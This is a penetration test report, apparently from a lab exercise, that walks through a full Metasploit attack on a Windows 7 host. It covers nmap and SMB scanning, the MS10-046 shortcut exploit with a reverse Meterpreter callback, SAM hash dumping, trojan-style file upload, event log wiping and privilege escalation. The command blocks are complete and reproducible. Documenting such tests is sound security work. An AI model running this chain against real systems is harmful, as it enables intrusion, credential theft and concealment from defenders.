

PROJECT VAPPLER

Penetration Testing & Vulnerability Assessment Report

Prepared by:

Ryan Randall Duckworth

Aspida Security

July 06, 2026

Executive Summary

This document outlines the methodology, execution, and findings of a simulated penetration test targeting a segmented network environment. The primary objective was to demonstrate the full lifecycle of a cyberattack, from initial footprinting and vulnerability enumeration to active exploitation and post-exploitation persistence.

Utilizing the Metasploit Framework, the assessment successfully identified active hosts, mapped running services (specifically SMB and HTTP), and executed a malicious payload leveraging a known Windows Shell vulnerability (MS10-046). Post-exploitation activities confirmed the ability to pivot, extract credentials, manipulate file systems, and erase audit logs, successfully achieving NT AUTHORITY\SYSTEM level privileges.

Phase 1: Environment Provisioning & Reconnaissance

The engagement began with securing administrative access to the attack platform and initializing the required vulnerability frameworks. A comprehensive Nmap scan was executed to footprint the target network, identifying active devices and services.

```
sudo su
apt-get update
apt install metasploit-framework -y
msfdb init
msfconsole
```

Elevated privileges, updated packages, and initialized the Metasploit database.

```
nmap -Pn -sS -A -F -oX targets 192.168.10.7,17,19
db_import targets
hosts
services
```

Executed an aggressive, stealth SYN scan bypassing host discovery, imported the XML output into the Metasploit database, and verified identified targets.

Phase 2: Targeted Vulnerability Enumeration

With the network mapped, targeted auxiliary scanners were deployed to enumerate specific services. This phase focused on validating the presence of HTTP and SMB services across the identified hosts.

```
search portscan
use auxiliary/scanner/portscan/syn
set PORTS 80
hosts -R
set THREADS 3
show options
run
back
```

Configured and executed a Metasploit SYN scanner specifically looking for open HTTP (port 80) services on all database hosts.

```
use auxiliary/scanner/smb/smb_version
hosts -R
set THREADS 3
run
back
```

Executed an SMB version scanner to identify the exact operating system builds and SMB protocol versions running on the targets.

Phase 3: Weaponization & Exploitation (MS10-046)

Based on the reconnaissance data, the Windows 7 host was targeted using the **MS10-046 Shortcut Icon DLL Loader** vulnerability. A reverse TCP Meterpreter payload was staged, and a malicious Universal Naming Convention (UNC) link was generated to deliver the payload.

```
search ms10_046
info 0
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set SRVHOST 192.168.10.25
set LHOST 192.168.10.25
show options
exploit
```

Staged the exploit and started a WebDAV server and reverse handler on the local IP (192.168.10.25).

Vector Delivery: The generated attack UNC (e.g., \\192.168.10.25\xxxxxxx\) was executed on the victim machine via Windows Explorer, triggering the vulnerability and initiating the callback to the attack infrastructure.

Phase 4: Post-Exploitation & Data Exfiltration

Upon successful callback, a Meterpreter session was established. The focus shifted to system enumeration, credential harvesting, file manipulation, and anti-forensics (log wiping).

```
sessions
sessions -i 1
shell
hostname
whoami
exit
```

Interacted with the session, dropped into a native Windows command shell, and confirmed the compromised host (WIN-7) and user context (HEXELO\Administrator).

```
search -f *.log
hashdump
```

Searched the file system for sensitive log files and successfully dumped the SAM database, extracting NTLM password hashes.

```
pwd
lpwd
download calc.exe
upload calc.exe evil_trojan.exe
ls evil*
```

Demonstrated bidirectional file transfer capabilities by downloading a legitimate binary and re-uploading it as simulated malware.

```
clearev
ipconfig
getsystem
getuid
```

Wiped Windows Event Logs (Application, System, Security) to cover tracks, mapped local network interfaces, and escalated privileges to NT AUTHORITY\SYSTEM.

Phase 5: Teardown & Remediation

Following the successful engagement, all active sessions and background jobs were securely terminated to return the environment to a stable state.

```
background  
sessions -K  
jobs -K  
exit
```

Backgrounded the active session, killed all live connections and listeners, and exited the framework.